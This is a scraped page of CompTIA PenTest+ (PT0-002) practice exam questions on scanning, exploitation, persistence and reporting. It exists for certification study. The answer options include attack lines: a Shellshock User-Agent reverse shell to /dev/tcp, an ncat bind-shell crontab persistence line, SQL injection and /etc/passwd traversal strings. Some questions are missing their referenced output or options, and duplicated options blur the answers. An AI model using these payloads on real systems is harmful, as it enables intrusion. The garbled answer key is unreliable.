Which of the following are the MOST important items to include in the final report for a penetration test? (Choose two.)

The tool used to find the issue

The network location of the vulnerable device

The name of the person who found the flaw

The tool used to find the issue

A penetration tester runs a scan against a server and obtains the following output:21/tcp open ftp Microsoft ftpd| ftp-anon: Anonymous FTP login allowed (FTP code 230)| 03-12-20 09:23AM 331 index.aspx| ftp-syst:135/tcp open msrpc Microsoft Windows RPC139/tcp open netbios-ssn Microsoft Windows netbios-ssn445/tcp open microsoft-ds Microsoft Windows Server 2012 Std3389/tcp open ssl/ms-wbt-server| rdp-ntlm-info:| Target Name: WEB3| NetBIOS_Computer_Name: WEB3| Product_Version: 6.3.9600|_ System_Time: 2021-01-15T11:32:06+00:008443/tcp open http Microsoft IIS httpd 8.5| http-methods:|_ Potentially risky methods: TRACE|_http-server-header: Microsoft-IIS/8.5|_http-title: IIS Windows ServerWhich of the following command sequences should the penetration tester try NEXT?

smbclient \\\\WEB3\\IPC$ -I 192.168.53.23 -U guest

ncrack -u Administrator -P 15worst_passwords.txt -p rdp 192.168.53.23

curl -X TRACE https://192.168.53.23:8443/index.aspx

nmap --script vuln -sV 192.168.53.23

In the process of active service enumeration, a penetration tester identifies an SMTP daemon running on one of the target company's servers. Which of the following actions would BEST enable the tester to perform phishing in a later stage of the assessment?

Check for an open relay configuration.

Test for RFC-defined protocol conformance.

Attempt to brute force authentication to the service.

Perform a reverse DNS query and match to the service banner.

Check for an open relay configuration.

Running a vulnerability scanner on a hybrid network segment that includes general IT servers and industrial control systems:

may cause unintended failures in control systems.

will reveal vulnerabilities in the Modbus protocol.

may cause unintended failures in control systems.

may reduce the true positive rate of findings.

will create a denial-of-service condition on the IP networks.

A penetration tester would like to obtain FTP credentials by deploying a workstation as an on-path attack between the target and the server that has the FTP protocol. Which of the following methods would be the BEST to accomplish this objective?

Capture traffic using Wireshark.

Wait for the next login and perform a downgrade attack on the server.

Capture traffic using Wireshark.

Perform a brute-force attack over the server.

Use an FTP exploit against the server.

Penetration-testing activities have concluded, and the initial findings have been reviewed with the client. Which of the following best describes the NEXT step in the engagement?

Attestation of findings and delivery of the report

Acceptance by the client and sign-off on the final report

Scheduling of follow-up actions and retesting

Attestation of findings and delivery of the report

Review of the lessons learned during the engagement

A penetration tester discovered a vulnerability that provides the ability to upload to a path via directory traversal. Some of the files that were discovered through this vulnerability are: Which of the following is the BEST method to help an attacker gain internal access to the affected machine?

Edit the smb.conf file and upload it to the server

Edit the discovered file with one line of code for remote callback

Download .pl files and look for usernames and passwords

Edit the smb.conf file and upload it to the server

Download the smb.conf file and look at configurations

A penetration tester ran the following command on a staging server:python -m SimpleHTTPServer 9891Which of the following commands could be used to download a file named exploit to a target machine for execution?

powershell -exec bypass -f \\10.10.51.50\9891

bash -i >& /dev/tcp/10.10.51.50/9891 0&1>/exploit

In an unprotected network file repository, a penetration tester discovers a text file containing usernames and passwords in cleartext and a spreadsheet containing data for 50 employees, including full names, roles, and serial numbers. The tester realizes some of the passwords in the text file follow the format: <name- serial_number>. Which of the following would be the best action for the tester to take NEXT with this information?

Document the unprotected file repository as a finding in the penetration-testing report.

Create a custom password dictionary as preparation for password spray testing.

Recommend using a password manage/vault instead of text files to store passwords securely.

Recommend configuring password complexity rules in all the systems and applications.

Document the unprotected file repository as a finding in the penetration-testing report.

A penetration tester is working on a scoping document with a new client. The methodology the client uses includes the following:Pre-engagement interaction (scoping and ROE)Intelligence gathering (reconnaissance)Threat modelingVulnerability analysisExploitation and post exploitationReportingWhich of the following methodologies does the client use?

OWASP Web Security Testing Guide

A penetration tester ran an Nmap scan on an Internet-facing network device with the -F option and found a few open ports. To further enumerate, the tester ran another scan using the following command:nmap -O -A -sS -p- 100.100.100.50Nmap returned that all 65,535 ports were filtered. Which of the following MOST likely occurred on the second scan?

A firewall or IPS blocked the scan.

The penetration tester used unsupported flags.

The edge network device was disconnected.

The scan returned ICMP echo replies.

A client has requested that the penetration test scan include the following UDP services: SNMP, NetBIOS, and DNS. Which of the following Nmap commands will perform the scan?

nmap -vv sUV -p 53,137-139,161-162 10.10.1.20/24 -oA udpscan

nmap -vv sUV -p 53, 123-159 10.10.1.20/24 -oA udpscan

nmap -vv sUV -p 53,123,161-162 10.10.1.20/24 -oA udpscan

nmap -vv sUV -p 53,137-139,161-162 10.10.1.20/24 -oA udpscan

nmap -vv sUV -p 53, 122-123, 160-161 10.10.1.20/24 -oA udpscan

Which of the following types of information should be included when writing the remediation section of a penetration test report to be viewed by the systems administrator and technical staff?

A quick description of the vulnerability and a high-level control to fix it

Information regarding the business impact if compromised

The executive summary and information regarding the testing company

The rules of engagement from the assessment

A penetration tester discovers a vulnerable web server at 10.10.1.1. The tester then edits a Python script that sends a web exploit and comes across the following code:exploits = {"User-Agent": "() { ignored;};/bin/bash -i>& /dev/tcp/127.0.0.1/9090 0>&1", "Accept":"text/html,application/xhtml+xml,application/xml"}Which of the following edits should the tester make to the script to determine the user context in which the server is being run?

exploits = {"User-Agent": "() { ignored;};/bin/bash -i id;whoami", "Accept":"text/html,application/xhtml+xml,application/xml"}

exploits = {"User-Agent": "() { ignored;};/bin/bash -i>& find / -perm -4000", "Accept":"text/html,application/xhtml+xml,application/xml"}

exploits = {"User-Agent": "() { ignored;};/bin/sh -i ps -ef" 0>&1", "Accept":"text/html,application/xhtml+xml,application/xml"}

exploits = {"User-Agent": "() { ignored;};/bin/bash -i>& /dev/tcp/10.10.1.1/80" 0>&1", "Accept":"text/html,application/xhtml+xml,application/xml"}

A penetration tester was able to gain access successfully to a Windows workstation on a mobile client's laptop. Which of the following can be used to ensure the tester is able to maintain access to the system?

schtasks /create /sc /ONSTART /tr C:\Temp\WindowsUpdate.exe

wmic startup get caption,command

crontab -l; echo "@reboot sleep 200 && ncat -lvp 4242 -e /bin/bash") | crontab 2>/dev/null

A large client wants a penetration tester to scan for devices within its network that are Internet facing. The client is specifically looking for Cisco devices with no authentication requirements. Which of the following settings in Shodan would meet the client's requirements?

"cisco-ios" "default-passwords"

A tester who is performing a penetration test on a website receives the following output:Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /var/www/search.php on line 62Which of the following commands can be used to further attack the website?

1 UNION SELECT 1, DATABASE(),3--

../../../../../../../../../../etc/passwd

1 UNION SELECT 1, DATABASE(),3--

A penetration tester conducted a vulnerability scan against a client's critical servers and found the following: Which of the following would be a recommendation for remediation?

Implement a patch management plan

Utilize the secure software development life cycle

Configure access controls on each of the servers

A company that developers embedded software for the automobile industry has hired a penetrationtesting team to evaluate the security of its products prior to delivery. The penetration-testing team has stated its intent to subcontract to a reverse-engineering team capable of analyzing binaries to develop proof-of-concept exploits. The software company has requested additional background investigations on the reverse- engineering team prior to approval of the subcontract. Which of the following concerns would BEST support the software company's request?

The reverse-engineering team may have a history of selling exploits to third parties.

The reverse-engineering team may use closed-source or other non-public information feeds for its analysis.

The reverse-engineering team may not instill safety protocols sufficient for the automobile industry.

The reverse-engineering team will be given access to source code for analysis.

A penetration tester has been given eight business hours to gain access to a client's financial system.Which of the following techniques will have the highest likelihood of success?

Performing spear phishing against employees by posing as senior management

Attempting to tailgate an employee going into the client's workplace

Dropping a malicious USB key with the company's logo in the parking lot

Using a brute-force attack against the external perimeter to gain a foothold

Performing spear phishing against employees by posing as senior management

The results of an Nmap scan are as follows: Which of the following would be the BEST conclusion about this device?

This device is most likely a gateway with in-band management services.

This device may be vulnerable to the Heartbleed bug due to the way transactions over TCP/22 handle heartbeat extension packets, allowing attackers to obtain sensitive information from process memory.

This device is most likely a gateway with in-band management services.

This device is most likely a proxy server forwarding requests over TCP/443.

This device may be vulnerable to remote code execution because of a butter overflow vulnerability in the method used to extract DNS names from packets prior to DNSSEC validation.

Which of the following BEST describes why a client would hold a lessons-learned meeting with the penetration-testing team?

To determine any processes that failed to meet expectations during the assessment

To provide feedback on the report structure and recommend improvements

To discuss the findings and dispute any false positives

To determine any processes that failed to meet expectations during the assessment

To ensure the penetration-testing team destroys all company data that was gathered during the test

The results of an Nmap scan are as follows:Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-24 01:10 ESTNmap scan report for ( 10.2.1.22 )Host is up (0.0102s latency).Not shown: 998 filtered portsPort State Service80/tcp open http|_http-title: 80F 22% RH 1009.1MB (text/html)|_http-slowloris-check:| VULNERABLE:| Slowloris DoS Attack| <..>Device type: bridge|general purposeRunning (JUST GUESSING) : QEMU (95%)OS CPE: cpe:/a:qemu:qemuNo exact OS matches found for host (test conditions non-ideal).OS detection performed. Please report any incorrect results at https://nmap.org/submit/.Nmap done: 1 IP address (1 host up) scanned in 107.45 secondsWhich of the following device types will MOST likely have a similar response? (Choose two.)

Active Directory domain controller

CompTIA PT0-002 Practice Test 3 - Free Online Exam Prep & Questions

Comment (0)

CompTIA PT0-002 Practice Test 3

Question

CompTIA PT0-002 Practice Tests

Practice Tests